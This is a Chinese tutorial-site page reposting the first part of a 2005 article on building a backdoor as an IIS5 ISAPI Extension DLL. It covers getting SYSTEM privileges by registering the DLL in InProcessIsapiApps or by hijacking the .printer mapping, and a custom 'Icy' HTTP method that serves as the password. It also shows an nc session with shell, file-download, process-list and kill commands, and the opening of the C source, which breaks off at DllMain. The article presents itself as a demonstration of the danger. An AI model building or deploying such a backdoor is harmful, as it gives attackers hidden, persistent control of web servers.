e股脑电脑教程网
  • 首 页
  • 操作系统
  • 应用软件
  • 下载工具
  • 影音视频
  • 办公软件
  • 媒体制作
  • 网站建设
  • 平面设计
  • 数据库
  • 程序开发
  • 视频教程
编辑推荐: | 文章搜索:
您现在的位置: e股脑 >> 数据库 >> Mssql教程 >> IIS5 ISAPI Extension Back Door >> 教程正文
 
教程搜索
 
 
相关教程
  • 你知道MySQL10条鲜为人知的技巧吗?
  • 你应该知道的10个MySQL客户启动选项
  • 用特殊的MySQL运算符获得更多数据比较
  • MySQL数据库中与 NULL值有关的几个问题
  • 教你快速了解公共MySQL的数据库服务器
  • MySQL 5.0在windows上的安装详细介绍
  • MySQL查询的性能优化
  • Linux操作系统中如何安装MySQL数据库
  • 23道安全门加铸MySQL数据库
  • MySQL 5.0 数据库新特性的存储过程
  • 从Windows命令行启动MySQL
  • 连接MySQL数据库失败频繁的原因
  • 加速动态网站 MySQL索引分析和优化
  • 轻松掌握如何保护MySQL中的重要数据
  • 快速掌握MySQL数据库中Show命令的用法
  • MySQL数据库的安全配置实用技巧
 
 

图文教程


  • Windows抢了谁的饭碗 非主流操作系统To

  • 地球还是火星 平常心看“非主流”

  • 综合运用Office 2007批量制作奖状

  • 没有系统盘如何才能修复受损系统?

  • 巧妙运用Excel中边界的附加功能!
 
 
赞 助 商
 
 
IIS5 ISAPI Extension Back Door
  • 来源:e股脑
  • 点击次数:
  • 更新时间:2007-8-9

(摘抄)

创建时间:2005-08-18 更新时间:2005-08-23

文章属性:原创

文章提交:ph4_yunshu (wustyunshu_at_hotmail.com)

IIS5 ISAPI Extension Back Door

Our Team: http://www.ph4nt0m.org

Author: 云舒(wustyunshu@hotmail.com)

Date: 2005-08-18

====================================================

感谢与参考

1.在获取shell的时候格式很难看,envymask告诉我是网络延迟的原因,得以解决,感谢!

2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》,地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662

3.参考MSDN函数库

一.前言

二.申明

三.实现

四.参考

一.前言

最近的sql injection攻击很流行,一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数,导致没有效果。前些日子研究彻底防止SQL Injection攻击时,看了些IIS5的ISAPI Filter文档,决定利用IIS提供的API接口做个东西,这样可以很好的防止sql injection攻击。

凑巧发现,这样依附在IIS上面的扩展模块,还可以作为别的用处,比如作为一个后门程序。这样进程的隐藏,端口的隐藏,服务的隐藏问题都不需要解决,由IIS包办了。作为后门,为了隐蔽性,我选择了ISAPI Extension接口。前后大约一个多星期,做出了一个这样的东西,还不知道叫什么名字好。

二.申明

1.代码里面有些特殊字符,因为我忘记不了她,请自己修改。

2.代码可以随意转载,但是请保证文档完整,并不得用于商业用途。

3.代码可以随意修改,但是如果能够给我一份,将不胜感激。

4.代码我只是演示这种后门的危害,用做任何用途均与我无关。

三.实现

1.解析

鉴于隐蔽性,我没有选择ISAPI Filter,而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块,它能独立支持某一项特殊的HTTP请求,系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库,就可以实现自己特殊的功能,例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名,再根据配置的应用程序映射,交由特定的dll处理。

2.权限

IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中,它有两个主键:LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键,这是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,权限极低。这里,我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中,命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射,此映射由%systemroot%\msw3prt.dll来解析,而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权 限的原因。


3.导出

根据MSDN描述,ISAPI Extension需要导出三个函数,GetExtensionVersion,TerminateExtension以及HttpExtensionProc

4.功能

首先,密码功能肯定是需要的,这里我将标准的HTTP协议扩充出一个Icy方法,如果客户端使用此方法请求注册的映射,则认证成功,否则不予理睬。这里,你也可以修改代码,使用HTTP协议的其他部分做认证,比如Accept字段。

其次,后门主要是获取一个shell,但是某些服务器可能设置了禁止system访问cmd,因此,我还提供了下载功能,这样可以下载一个cmd,然后通过shell CustomerCmd运行,得到shell执行命令。最后就是列举进程和查杀进程了。

在虚拟机上测试,我注册了扩展名为yunshu交由此dll解析。使用nc连接,发送自己扩展的http协议,屏幕copy如下:

C:\>nc -vv 192.168.10.250 80

Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA

Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error

Icy /test.yunshu HTTP/1.0

HOST: 192.168.10.250

Can you tell me how to forget some one?

Code by 云舒

Our team:www.ph4nt0m.org

Icy>help

Now,Support these command:

pslist--------------List Process Information

kill PID------------Kill The Process

exec Program--------Run A Program

shell ShellPath-----Get A System Shell,Normal shell cmd.exe

down URL------------DownLoad A File

exit----------------Exit

Icy>

5.代码

// ISAPI EXTENSION BACK DOOR

// Code by 云舒

// Thx EnvyMask

// 修改2005-08-14凌晨

// 最后2005-08-16

// Compiled On: Windows Server2003,VC++ 6.0

#include <stdio.h>

#include <string.h>

#include <windows.h>

#include <tlhelp32.h>

#include <httpext.h>


#include <UrlMon.h>

#pragma comment(lib, "urlmon.lib")

#define DEBUG

#define LOGPATH "c:\ISAPI_LOG.txt"

//后门密码

#define PASSWORD "Icy"

//标识符

#define FLAG "Icy>"

//缓冲区大小

#define BUFFSIZE 1024 * 4

#define ARGSIZE 1024

typedef struct workArg

{

EXTENSION_CONTROL_BLOCK *pECB;

char arg[ARGSIZE];

}WORKARG;

//定义函数原形

BOOL StartWith( char * , char * ); //判断第一个字符串是否以第二个字符串开头

void SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * ); //根据输入的命令来选择执行的功能

void PsList( EXTENSION_CONTROL_BLOCK * ); //列举进程

void Kill( LPVOID ); //杀进程

void Shell( LPVOID ); //获取一个shell

void ExecProgram( LPVOID ); //运行一个程序

void Help( EXTENSION_CONTROL_BLOCK * ); //输出帮助

void DownLoad( LPVOID ); //下载文件

BOOL SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端

void LogStrToFile( char * ); //记录字符错误信息到日志

void LogIntToFile( int ); //记录整数信息到日志

//DLL入口

BOOL APIENTRY DllMain( HANDLE hMo

1 2 3 4 5 6 下一页
  • 上一篇教程: char与varchar的区别
  • 下一篇教程: mysql数据库连接过多的错误,可能的原因分析及解决办法
  •  

    关于本站 | 广告联系 | 版权声明 | 使用帮助

    Copyright © 2004-2008 www.egunao.com All rights reserved.